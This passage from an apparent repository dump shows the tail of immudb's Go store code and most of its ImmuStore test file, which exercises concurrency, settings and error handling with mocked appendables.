err\n\t\t\t}\n\t\t}\n\t}\n\n\t// Delete offset from different value logs\n\tmerr := multierr.NewMultiErr()\n\t{\n\t\tfor vLogID, offset := range tombstones {\n\t\t\tvlog, err := s.fetchVLog(vLogID)\n\t\t\tif err != nil {\n\t\t\t\tmerr.Append(err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tdefer s.releaseVLog(vLogID)\n\n\t\t\ts.logger.Infof(\"truncating vlog '%d' at offset '%d'\", vLogID, offset)\n\t\t\terr = vlog.DiscardUpto(offset)\n\t\t\tmerr.Append(err)\n\t\t}\n\t}\n\n\treturn merr.Reduce()\n}\n\nfunc digest(s []byte) [sha256.Size]byte {\n\tvar a [sha256.Size]byte\n\tcopy(a[:], s)\n\treturn a\n}\n"
  },
  {
    "path": "embedded/store/immustore_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/sha256\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"math/rand\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded\"\n\t\"github.com/codenotary/immudb/embedded/ahtree\"\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/appendable/mocked\"\n\t\"github.com/codenotary/immudb/embedded/appendable/multiapp\"\n\t\"github.com/codenotary/immudb/embedded/htree\"\n\t\"github.com/codenotary/immudb/embedded/tbtree\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc immustoreClose(t *testing.T, immuStore *ImmuStore) {\n\tif immuStore.IsClosed() {\n\t\treturn\n\t}\n\n\terr := immuStore.Close()\n\tif !t.Failed() {\n\t\trequire.NoError(t, err)\n\t}\n}\n\nfunc tempTxHolder(t *testing.T, immuStore *ImmuStore) *Tx {\n\treturn NewTx(immuStore.maxTxEntries, immuStore.maxKeyLen)\n}\n\nfunc TestImmudbStoreConcurrency(t *testing.T) {\n\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(4)\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, immuStore)\n\n\tdefer immustoreClose(t, immuStore)\n\n\ttxCount := 100\n\teCount := 1000\n\n\tvar wg sync.WaitGroup\n\twg.Add(2)\n\n\tgo func() {\n\t\tdefer wg.Done()\n\n\t\tfor i := 0; i < txCount; i++ {\n\t\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\t\trequire.NoError(t, err)\n\n\t\t\tfor j := 0; j < eCount; j++ {\n\t\t\t\tk := make([]byte, 8)\n\t\t\t\tbinary.BigEndian.PutUint64(k, uint64(j))\n\n\t\t\t\tv := make([]byte, 8)\n\t\t\t\tbinary.BigEndian.PutUint64(v, uint64(i))\n\n\t\t\t\terr = tx.Set(k, nil, v)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t}\n\n\t\t\ttxhdr, err := tx.AsyncCommit(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.EqualValues(t, i+1, txhdr.ID)\n\t\t}\n\t}()\n\n\tgo func() {\n\t\tdefer wg.Done()\n\n\t\ttxID := uint64(1)\n\n\t\tfor {\n\t\t\ttime.Sleep(time.Duration(100) * time.Millisecond)\n\n\t\t\ttxReader, err := immuStore.NewTxReader(txID, false, tempTxHolder(t, immuStore))\n\t\t\trequire.NoError(t, err)\n\n\t\t\tfor {\n\t\t\t\ttime.Sleep(time.Duration(10) * time.Millisecond)\n\n\t\t\t\ttx, err := txReader.Read()\n\t\t\t\tif err == ErrNoMoreEntries {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\tif tx.header.ID == uint64(txCount) {\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\ttxID = tx.header.ID\n\t\t\t}\n\t\t}\n\t}()\n\n\twg.Wait()\n}\n\nfunc TestImmudbStoreConcurrentCommits(t *testing.T) {\n\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(5)\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, immuStore)\n\n\tdefer immustoreClose(t, immuStore)\n\n\ttxCount := 100\n\teCount := 100\n\n\tvar wg sync.WaitGroup\n\twg.Add(10)\n\n\ttxs := make([]*Tx, 10)\n\tfor c := 0; c < 10; c++ {\n\t\ttxs[c] = tempTxHolder(t, immuStore)\n\t}\n\n\tfor c := 0; c < 10; c++ {\n\t\tgo func(txHolder *Tx) {\n\t\t\tdefer wg.Done()\n\n\t\t\tfor c := 0; c < txCount; {\n\t\t\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\tfor j := 0; j < eCount; j++ {\n\t\t\t\t\tk := make([]byte, 8)\n\t\t\t\t\tbinary.BigEndian.PutUint64(k, uint64(j))\n\n\t\t\t\t\tv := make([]byte, 8)\n\t\t\t\t\tbinary.BigEndian.PutUint64(v, uint64(c))\n\n\t\t\t\t\terr = tx.Set(k, nil, v)\n\t\t\t\t\trequire.NoError(t, err)\n\t\t\t\t}\n\n\t\t\t\thdr, err := tx.AsyncCommit(context.Background())\n\t\t\t\tif err == ErrMaxConcurrencyLimitExceeded {\n\t\t\t\t\ttime.Sleep(1 * time.Millisecond)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\terr = immuStore.ReadTx(hdr.ID, false, txHolder)\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\tfor _, e := range txHolder.Entries() {\n\t\t\t\t\t_, err := immuStore.ReadValue(e)\n\t\t\t\t\trequire.NoError(t, err)\n\t\t\t\t}\n\n\t\t\t\tc++\n\t\t\t}\n\t\t}(txs[c])\n\t}\n\n\twg.Wait()\n}\n\nfunc TestImmudbStoreConcurrentCommitsWithEmbeddedValues(t *testing.T) {\n\topts := DefaultOptions().\n\t\tWithSynced(false).\n\t\tWithMaxConcurrency(5).\n\t\tWithEmbeddedValues(true).\n\t\tWithPreallocFiles(true).\n\t\tWithVLogCacheSize(10)\n\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, immuStore)\n\n\tdefer immustoreClose(t, immuStore)\n\n\ttxCount := 100\n\teCount := 100\n\n\tvar wg sync.WaitGroup\n\twg.Add(10)\n\n\ttxs := make([]*Tx, 10)\n\tfor c := 0; c < 10; c++ {\n\t\ttxs[c] = tempTxHolder(t, immuStore)\n\t}\n\n\tfor c := 0; c < 10; c++ {\n\t\tgo func(txHolder *Tx) {\n\t\t\tdefer wg.Done()\n\n\t\t\tfor c := 0; c < txCount; {\n\t\t\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\tfor j := 0; j < eCount; j++ {\n\t\t\t\t\tk := make([]byte, 8)\n\t\t\t\t\tbinary.BigEndian.PutUint64(k, uint64(j))\n\n\t\t\t\t\tv := make([]byte, 8)\n\t\t\t\t\tbinary.BigEndian.PutUint64(v, uint64(c))\n\n\t\t\t\t\terr = tx.Set(k, nil, v)\n\t\t\t\t\trequire.NoError(t, err)\n\t\t\t\t}\n\n\t\t\t\thdr, err := tx.AsyncCommit(context.Background())\n\t\t\t\tif err == ErrMaxConcurrencyLimitExceeded {\n\t\t\t\t\ttime.Sleep(1 * time.Millisecond)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\terr = immuStore.ReadTx(hdr.ID, false, txHolder)\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\tfor _, e := range txHolder.Entries() {\n\t\t\t\t\t_, err := immuStore.ReadValue(e)\n\t\t\t\t\trequire.NoError(t, err)\n\t\t\t\t}\n\n\t\t\t\tc++\n\t\t\t}\n\t\t}(txs[c])\n\t}\n\n\twg.Wait()\n}\n\nfunc TestImmudbStoreOpenWithInvalidPath(t *testing.T) {\n\t_, err := Open(\"immustore_test.go\", DefaultOptions())\n\trequire.ErrorIs(t, err, ErrPathIsNotADirectory)\n}\n\nfunc TestImmudbStoreOnClosedStore(t *testing.T) {\n\timmuStore, err := Open(t.TempDir(), DefaultOptions().WithMaxConcurrency(1))\n\trequire.NoError(t, err)\n\n\terr = immuStore.ReadTx(1, false, nil)\n\trequire.ErrorIs(t, err, ErrTxNotFound)\n\n\terr = immuStore.Close()\n\trequire.NoError(t, err)\n\n\terr = immuStore.Close()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = immuStore.Sync()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = immuStore.FlushIndexes(100, true)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, err = immuStore.commit(context.Background(), &OngoingTx{entries: []*EntrySpec{\n\t\t{Key: []byte(\"key1\")},\n\t}}, nil, false, false)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = immuStore.ReadTx(1, false, nil)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, err = immuStore.NewTxReader(1, false, nil)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n}\n\nfunc TestImmudbStoreSettings(t *testing.T) {\n\timmuStore, err := Open(t.TempDir(), DefaultOptions().WithMaxConcurrency(1))\n\trequire.NoError(t, err)\n\n\tdefer immustoreClose(t, immuStore)\n\n\trequire.Equal(t, DefaultOptions().ReadOnly, immuStore.ReadOnly())\n\trequire.Equal(t, DefaultOptions().Synced, immuStore.Synced())\n\trequire.Equal(t, 1, immuStore.MaxConcurrency())\n\trequire.Equal(t, DefaultOptions().MaxIOConcurrency, immuStore.MaxIOConcurrency())\n\trequire.Equal(t, DefaultOptions().MaxActiveTransactions, immuStore.MaxActiveTransactions())\n\trequire.Equal(t, DefaultOptions().MVCCReadSetLimit, immuStore.MVCCReadSetLimit())\n\trequire.Equal(t, DefaultOptions().MaxTxEntries, immuStore.MaxTxEntries())\n\trequire.Equal(t, DefaultOptions().MaxKeyLen, immuStore.MaxKeyLen())\n\trequire.Equal(t, DefaultOptions().MaxValueLen, immuStore.MaxValueLen())\n}\n\nfunc TestImmudbStoreWithTimeFunction(t *testing.T) {\n\timmuStore, err := Open(t.TempDir(), DefaultOptions())\n\trequire.NoError(t, err)\n\n\tdefer immustoreClose(t, immuStore)\n\n\terr = immuStore.UseTimeFunc(nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tfixedTime := time.Now()\n\n\t// add some delay to ensure time has passed\n\ttime.Sleep(10 * time.Microsecond)\n\n\terr = immuStore.UseTimeFunc(func() time.Time {\n\t\treturn fixedTime\n\t})\n\trequire.NoError(t, err)\n\n\ttx, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\trequire.NoError(t, err)\n\n\terr = tx.Set([]byte(\"key1\"), nil, []byte(\"value1\"))\n\trequire.NoError(t, err)\n\n\thdr, err := tx.Commit(context.Background())\n\trequire.NoError(t, err)\n\trequire.Equal(t, fixedTime.Unix(), hdr.Ts)\n}\n\nfunc TestImmudbStoreEdgeCases(t *testing.T) {\n\tt.Run(\"should fail with invalid options\", func(t *testing.T) {\n\t\t_, err := Open(t.TempDir(), nil)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n\tt.Run(\"should fail with invalid appendables\", func(t *testing.T) {\n\t\t_, err := OpenWith(t.TempDir(), nil, nil, nil, DefaultOptions())\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n\tt.Run(\"should fail with invalid appendables and invalid options\", func(t *testing.T) {\n\t\t_, err := OpenWith(t.TempDir(), nil, nil, nil, nil)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n\tt.Run(\"should fail with invalid dir name\", func(t *testing.T) {\n\t\t_, err := Open(\"invalid\\x00_dir_name\", DefaultOptions())\n\t\trequire.EqualError(t, err, \"stat invalid\\x00_dir_name: invalid argument\")\n\t})\n\n\tt.Run(\"should fail with permission denied\", func(t *testing.T) {\n\t\tpath := filepath.Join(t.TempDir(), \"ro_path\")\n\t\trequire.NoError(t, os.MkdirAll(path, 0500))\n\n\t\t_, err := Open(filepath.Join(path, \"subpath\"), DefaultOptions())\n\t\trequire.ErrorContains(t, err, \"subpath: permission denied\")\n\t})\n\n\tt.Run(\"should fail when initiating appendables\", func(t *testing.T) {\n\t\tfor _, failedAppendable := range []string{\"tx\", \"commit\", \"val_0\"} {\n\t\t\tinjectedError := fmt.Errorf(\"Injected error for: %s\", failedAppendable)\n\t\t\t_, err := Open(t.TempDir(), DefaultOptions().\n\t\t\t\tWithEmbeddedValues(false).\n\t\t\t\tWithAppFactory(func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) {\n\t\t\t\t\tif subPath == failedAppendable {\n\t\t\t\t\t\treturn nil, injectedError\n\t\t\t\t\t}\n\t\t\t\t\treturn &mocked.MockedAppendable{\n\t\t\t\t\t\tMetadataFn: func() []byte { return nil },\n\t\t\t\t\t}, nil\n\t\t\t\t}))\n\t\t\trequire.ErrorIs(t, err, injectedError)\n\t\t}\n\t})\n\n\t// basic appendable initialization\n\tvLog := &mocked.MockedAppendable{\n\t\tCloseFn: func() error { return nil },\n\t}\n\n\tvLogs := []appendable.Appendable{vLog}\n\n\ttxLog := &mocked.MockedAppendable{\n\t\tCloseFn: func() error { return nil },\n\t\tReadAtFn: func(bs []byte, off int64) (int, error) {\n\t\t\treturn 0, io.EOF\n\t\t},\n\t}\n\n\tcLog := &mocked.MockedAppendable{\n\t\tMetadataFn: func() []byte { return nil },\n\t\tCloseFn:    func() error { return nil },\n\t\tAppendFn:   func(bs []byte) (off int64, n int, err error) { return 0, len(bs), nil },\n\t\tFlushFn:    func() error { return nil },\n\t\tSyncFn:     func() error { return nil },\n\t}\n\n\tt.Run(\"should fail reading fileSize from metadata\", func(t *testing.T) {\n\t\tcLog.MetadataFn = func() []byte {\n\t\t\treturn nil\n\t\t}\n\n\t\t_, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false))\n\t\trequire.ErrorIs(t, err, ErrCorruptedCLog)\n\t})\n\n\tt.Run(\"should fail reading maxTxEntries from metadata\", func(t *testing.T) {\n\t\tcLog.MetadataFn = func() []byte {\n\t\t\tmd := appendable.NewMetadata(nil)\n\t\t\tmd.PutInt(metaVersion, 1)\n\t\t\tmd.PutInt(metaFileSize, 1)\n\t\t\treturn md.Bytes()\n\t\t}\n\n\t\t_, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false))\n\t\trequire.ErrorIs(t, err, ErrCorruptedCLog)\n\t})\n\n\tt.Run(\"should fail reading maxKeyLen from metadata\", func(t *testing.T) {\n\t\tcLog.MetadataFn = func() []byte {\n\t\t\tmd := appendable.NewMetadata(nil)\n\t\t\tmd.PutInt(metaVersion, 1)\n\t\t\tmd.PutInt(metaFileSize, 1)\n\t\t\tmd.PutInt(metaMaxTxEntries, 4)\n\t\t\treturn md.Bytes()\n\t\t}\n\n\t\t_, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false))\n\t\trequire.ErrorIs(t, err, ErrCorruptedCLog)\n\t})\n\n\tt.Run(\"should fail reading maxKeyLen from metadata\", func(t *testing.T) {\n\t\tcLog.MetadataFn = func() []byte {\n\t\t\tmd := appendable.NewMetadata(nil)\n\t\t\tmd.PutInt(metaVersion, 1)\n\t\t\tmd.PutInt(metaFileSize, 1)\n\t\t\tmd.PutInt(metaMaxTxEntries, 4)\n\t\t\tmd.PutInt(metaMaxKeyLen, 8)\n\t\t\treturn md.Bytes()\n\t\t}\n\n\t\t_, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false))\n\t\trequire.ErrorIs(t, err, ErrCorruptedCLog)\n\t})\n\n\tt.Run(\"should fail reading cLogSize\", func(t *testing.T) {\n\t\tcLog.MetadataFn = func() []byte {\n\t\t\tmd := appendable.NewMetadata(nil)\n\t\t\tmd.PutInt(metaVersion, 1)\n\t\t\tmd.PutInt(metaFileSize, 1)\n\t\t\tmd.PutInt(metaMaxTxEntries, 4)\n\t\t\tmd.PutInt(metaMaxKeyLen, 8)\n\t\t\tmd.PutInt(metaMaxValueLen, 16)\n\t\t\treturn md.Bytes()\n\t\t}\n\n\t\tinjectedError := errors.New(\"error\")\n\n\t\tcLog.SizeFn = func() (int64, error) {\n\t\t\treturn 0, injectedError\n\t\t}\n\n\t\t_, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false))\n\t\trequire.ErrorIs(t, err, injectedError)\n\t})\n\n\tinjectedError := errors.New(\"error\")\n\n\tt.Run(\"should fail setting cLog offset\", func(t *testing.T) {\n\t\tcLog.SizeFn = func() (int64, error) {\n\t\t\treturn cLogEntrySizeV1 - 1, nil\n\t\t}\n\t\tcLog.SetOffsetFn = func(off int64) error {\n\t\t\treturn injectedError\n\t\t}\n\n\t\t_, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false))\n\t\trequire.ErrorIs(t, err, injectedError)\n\t})\n\n\tt.Run(\"should truncate cLog when validating cLogSize\", func(t *testing.T) {\n\t\tcLog.SizeFn = func() (int64, error) {\n\t\t\treturn cLogEntrySizeV1 - 1, nil\n\t\t}\n\t\tcLog.SetOffsetFn = func(off int64) error {\n\t\t\treturn nil\n\t\t}\n\n\t\tst, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false))\n\t\trequire.NoError(t, err)\n\n\t\terr = st.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should fail reading cLog\", func(t *testing.T) {\n\t\tcLog.SizeFn = func() (int64, error) {\n\t\t\treturn cLogEntrySizeV1, nil\n\t\t}\n\t\tcLog.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\t\treturn 0, injectedError\n\t\t}\n\n\t\t_, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false))\n\t\trequire.ErrorIs(t, err, injectedError)\n\t})\n\n\tt.Run(\"should fail reading txLogSize\", func(t *testing.T) {\n\t\tcLog.SizeFn = func() (int64, error) {\n\t\t\treturn cLogEntrySizeV1 + 1, nil\n\t\t}\n\t\tcLog.SetOffsetFn = func(off int64) error {\n\t\t\treturn nil\n\t\t}\n\t\ttxLog.SizeFn = func() (int64, error) {\n\t\t\treturn 0, injectedError\n\t\t}\n\n\t\t_, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false))\n\t\trequire.ErrorIs(t, err, injectedError)\n\t})\n\n\tt.Run(\"should fail reading txLogSize\", func(t *testing.T) {\n\t\tcLog.SizeFn = func() (int64, error) {\n\t\t\treturn cLogEntrySizeV1, nil\n\t\t}\n\t\tcLog.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\t\tfor i := 0; i < len(bs); i++ {\n\t\t\t\tbs[i]++\n\t\t\t}\n\t\t\treturn minInt(len(bs), 8+4+8+8), nil\n\t\t}\n\t\ttxLog.SizeFn = func() (int64, error) {\n\t\t\treturn 0, injectedError\n\t\t}\n\n\t\t_, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false))\n\t\trequire.ErrorIs(t, err, injectedError)\n\t})\n\n\tt.Run(\"should fail validating txLogSize\", func(t *testing.T) {\n\t\tcLog.SizeFn = func() (int64, error) {\n\t\t\treturn cLogEntrySizeV1, nil\n\t\t}\n\t\tcLog.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\t\tfor i := 0; i < len(bs); i++ {\n\t\t\t\tbs[i]++\n\t\t\t}\n\t\t\treturn minInt(len(bs), 8+4+8+8), nil\n\t\t}\n\t\ttxLog.SizeFn = func() (int64, error) {\n\t\t\treturn 0, nil\n\t\t}\n\n\t\t_, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false))\n\t\trequire.ErrorIs(t, err, ErrCorruptedTxData)\n\t})\n\n\tt.Run(\"fail to read last transaction\", func(t *testing.T) {\n\t\tcLog.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\t\tbuff := []byte{0, 0, 0, 0, 0, 0, 0, 1}\n\t\t\trequire.Less(t, off, int64(len(buff)))\n\t\t\treturn copy(bs, buff[off:]), nil\n\t\t}\n\t\ttxLog.SizeFn = func() (int64, error) {\n\t\t\treturn 1, nil\n\t\t}\n\t\ttxLog.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\t\treturn 0, injectedError\n\t\t}\n\n\t\t_, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false))\n\t\trequire.ErrorIs(t, err, injectedError)\n\t})\n\n\tt.Run(\"fail to initialize aht when opening appendable\", func(t *testing.T) {\n\t\ttxLog.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\t\treturn 0, io.EOF\n\t\t}\n\n\t\tcLog.SizeFn = func() (int64, error) {\n\t\t\treturn 0, nil\n\t\t}\n\n\t\t_, err := OpenWith(t.TempDir(), vLogs, txLog, cLog,\n\t\t\tDefaultOptions().\n\t\t\t\tWithEmbeddedValues(false).\n\t\t\t\tWithAppFactory(func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) {\n\t\t\t\t\tif strings.HasPrefix(subPath, \"aht/\") {\n\t\t\t\t\t\treturn nil, injectedError\n\t\t\t\t\t}\n\t\t\t\t\treturn &mocked.MockedAppendable{}, nil\n\t\t\t\t}),\n\t\t)\n\t\trequire.ErrorIs(t, err, injectedError)\n\t})\n\n\tt.Run(\"fail to initialize indexer\", func(t *testing.T) {\n\t\t_, err := OpenWith(t.TempDir(), vLogs, txLog, cLog,\n\t\t\tDefaultOptions().\n\t\t\t\tWithEmbeddedValues(false).\n\t\t\t\tWithAppFactory(func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) {\n\t\t\t\t\tif strings.HasSuffix(rootPath, \"index\") {\n\t\t\t\t\t\treturn nil, injectedError\n\t\t\t\t\t}\n\t\t\t\t\treturn &mocked.MockedAppendable{\n\t\t\t\t\t\tSizeFn:      func() (int64, error) { return 0, nil },\n\t\t\t\t\t\tCloseFn:     func() error { return nil },\n\t\t\t\t\t\tSetOffsetFn: func(off int64) error { return nil },\n\t\t\t\t\t}, nil\n\t\t\t\t}),\n\t\t)\n\t\trequire.ErrorIs(t, err, injectedError)\n\t})\n\n\tt.Run(\"incorrect tx in indexer\", func(t *testing.T) {\n\t\tvLog.CloseFn = func() error { return nil }\n\t\ttxLog.CloseFn = func() error { return nil }\n\t\tcLog.CloseFn = func() error { return nil }\n\n\t\t_, err := OpenWith(t.TempDir(), vLogs, txLog, cLog,\n\t\t\tDefaultOptions().\n\t\t\t\tWithEmbeddedValues(false).\n\t\t\t\tWithAppFactory(func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) {\n\t\t\t\t\tnLog := &mocked.MockedAppendable{\n\t\t\t\t\t\tReadAtFn: func(bs []byte, off int64) (int, error) {\n\t\t\t\t\t\t\tbuff := []byte{\n\t\t\t\t\t\t\t\ttbtree.LeafNodeType,\n\t\t\t\t\t\t\t\t0, 1, // One node\n\t\t\t\t\t\t\t\t0, 1, // Key size\n\t\t\t\t\t\t\t\t'k',  // key\n\t\t\t\t\t\t\t\t0, 1, // Value size\n\t\t\t\t\t\t\t\t'v',                    // value\n\t\t\t\t\t\t\t\t0, 0, 0, 0, 0, 0, 0, 1, // Timestamp\n\t\t\t\t\t\t\t\t0, 0, 0, 0, 0, 0, 0, 0, // hOffs\n\t\t\t\t\t\t\t\t0, 0, 0, 0, 0, 0, 0, 0, // hSize\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\trequire.Less(t, off, int64(len(buff)))\n\t\t\t\t\t\t\treturn copy(bs, buff[off:]), nil\n\t\t\t\t\t\t},\n\t\t\t\t\t\tSyncFn:  func() error { return nil },\n\t\t\t\t\t\tCloseFn: func() error { return nil },\n\t\t\t\t\t}\n\n\t\t\t\t\thLog := &mocked.MockedAppendable{\n\t\t\t\t\t\tSetOffsetFn: func(off int64) error { return nil },\n\t\t\t\t\t\tSizeFn: func() (int64, error) {\n\t\t\t\t\t\t\treturn 0, nil\n\t\t\t\t\t\t},\n\t\t\t\t\t\tSyncFn:  func() error { return nil },\n\t\t\t\t\t\tCloseFn: func() error { return nil },\n\t\t\t\t\t}\n\n\t\t\t\t\tswitch subPath {\n\t\t\t\t\tcase \"nodes\":\n\t\t\t\t\t\treturn nLog, nil\n\t\t\t\t\tcase \"history\":\n\t\t\t\t\t\treturn hLog, nil\n\t\t\t\t\tcase \"commit\":\n\t\t\t\t\t\treturn &mocked.MockedAppendable{\n\t\t\t\t\t\t\tSizeFn: func() (int64, error) {\n\t\t\t\t\t\t\t\t// One clog entry\n\t\t\t\t\t\t\t\treturn 100, nil\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tAppendFn: func(bs []byte) (off int64, n int, err error) {\n\t\t\t\t\t\t\t\treturn 0, 0, nil\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tReadAtFn: func(bs []byte, off int64) (int, error) {\n\t\t\t\t\t\t\t\tbuff := [20 + 32 + 16 + 32]byte{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 33, 0, 0, 0, 33}\n\t\t\t\t\t\t\t\tnLogChecksum, err := appendable.Checksum(nLog, 0, 33)\n\t\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\t\treturn 0, err\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tcopy(buff[20:], nLogChecksum[:])\n\n\t\t\t\t\t\t\t\thLogChecksum, err := appendable.Checksum(hLog, 0, 0)\n\t\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\t\treturn 0, err\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tcopy(buff[20+32+16:], hLogChecksum[:])\n\n\t\t\t\t\t\t\t\trequire.Less(t, off, int64(len(buff)))\n\t\t\t\t\t\t\t\treturn copy(bs, buff[off:]), nil\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tMetadataFn: func() []byte {\n\t\t\t\t\t\t\t\tmd := appendable.NewMetadata(nil)\n\t\t\t\t\t\t\t\tmd.PutInt(tbtree.MetaVersion, tbtree.Version)\n\t\t\t\t\t\t\t\tmd.PutInt(tbtree.MetaMaxNodeSize, tbtree.DefaultMaxNodeSize)\n\t\t\t\t\t\t\t\tmd.PutInt(tbtree.MetaMaxKeySize, tbtree.DefaultMaxKeySize)\n\t\t\t\t\t\t\t\tmd.PutInt(tbtree.MetaMaxValueSize, tbtree.DefaultMaxValueSize)\n\t\t\t\t\t\t\t\treturn md.Bytes()\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tSetOffsetFn: func(off int64) error { return nil },\n\t\t\t\t\t\t\tFlushFn: func() error {\n\t\t\t\t\t\t\t\treturn nil\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tSyncFn: func() error {\n\t\t\t\t\t\t\t\treturn nil\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tCloseFn: func() error { return nil },\n\t\t\t\t\t\t}, nil\n\t\t\t\t\t}\n\t\t\t\t\treturn &mocked.MockedAppendable{\n\t\t\t\t\t\tSizeFn:   func() (int64, error) { return 0, nil },\n\t\t\t\t\t\tOffsetFn: func() int64 { return 0 },\n\t\t\t\t\t\tCloseFn:  func() error { return nil },\n\t\t\t\t\t}, nil\n\t\t\t\t}),\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrCorruptedIndex)\n\t})\n\n\tmockedApps := []*mocked.MockedAppendable{vLog, txLog, cLog}\n\tfor _, app := range mockedApps {\n\t\tapp.SyncFn = func() error { return nil }\n\t}\n\n\tt.Run(\"errors during sync\", func(t *testing.T) {\n\t\t// Errors during sync\n\t\tvLog.AppendFn = func(bs []byte) (off int64, n int, err error) { return 0, len(bs), nil }\n\t\tvLog.FlushFn = func() error { return nil }\n\n\t\ttxLog.AppendFn = func(bs []byte) (off int64, n int, err error) { return 0, len(bs), nil }\n\t\ttxLog.SetOffsetFn = func(off int64) error { return nil }\n\t\ttxLog.FlushFn = func() error { return nil }\n\n\t\tcLogBuf := bytes.NewBuffer(nil)\n\t\tcLog.AppendFn = func(bs []byte) (off int64, n int, err error) {\n\t\t\toff = int64(cLogBuf.Len())\n\t\t\tn, err = cLogBuf.Write(bs)\n\t\t\treturn\n\t\t}\n\t\tcLog.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\t\tbuf := cLogBuf.Bytes()\n\t\t\tcopy(bs, buf[off:])\n\t\t\treturn len(buf) - int(off), nil\n\t\t}\n\n\t\tfor i, checkApp := range mockedApps {\n\t\t\tinjectedError = fmt.Errorf(\"Injected error %d\", 